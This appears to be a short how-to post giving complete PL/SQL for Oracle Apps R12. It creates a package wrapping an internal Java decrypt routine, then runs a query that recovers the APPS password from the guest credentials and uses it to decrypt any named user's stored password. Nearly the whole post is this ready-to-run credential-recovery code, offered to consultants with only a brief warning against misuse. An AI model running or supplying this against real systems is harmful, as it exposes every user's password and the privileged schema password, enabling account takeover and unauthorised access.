How to find password of a User in Oracle Apps R12

Oracle has provided its seeded procedure 'fnd_web_sec.get_guest_username_pwd' which will help us to find out user's password

This will be very useful for consultants in resolving the issues. Please use with this care and dont misuse this.

To achieve this, all you need to create a small package and run the query providing 'username' as input.

Package Spec:

------------------------------------------------------------------------------------------------------------------

--Package Specification
 
CREATE OR REPLACE PACKAGE get_pwd
AS
   FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
      RETURN VARCHAR2;
END get_pwd;
/

------------------------------------------------------------------------------------------------------------------

Package Body:

--------------------------------------------------------------------------------------------------------------------Package Body

CREATE OR REPLACE PACKAGE BODY get_pwd
AS
   FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
      RETURN VARCHAR2
   AS
      LANGUAGE JAVA
      NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
END get_pwd;
/

------------------------------------------------------------------------------------------------------------------

Execute the below Query :
------------------------------------------------------------------------------------------------------------------
--Input Parameter : User_name


SELECT usr.user_name,
       get_pwd.decrypt
          ((SELECT (SELECT get_pwd.decrypt
                              (fnd_web_sec.get_guest_username_pwd,
                               usertable.encrypted_foundation_password
                              )
                      FROM DUAL) AS apps_password
              FROM fnd_user usertable
             WHERE usertable.user_name =
                      (SELECT SUBSTR
                                  (fnd_web_sec.get_guest_username_pwd,
                                   1,
                                     INSTR
                                          (fnd_web_sec.get_guest_username_pwd,
                                           '/'
                                          )
                                   - 1
                                  )
                         FROM DUAL)),
           usr.encrypted_user_password
          ) PASSWORD
  FROM fnd_user usr
WHERE usr.user_name = 'USER_NAME';

------------------------------------------------------------------------------------------------------------------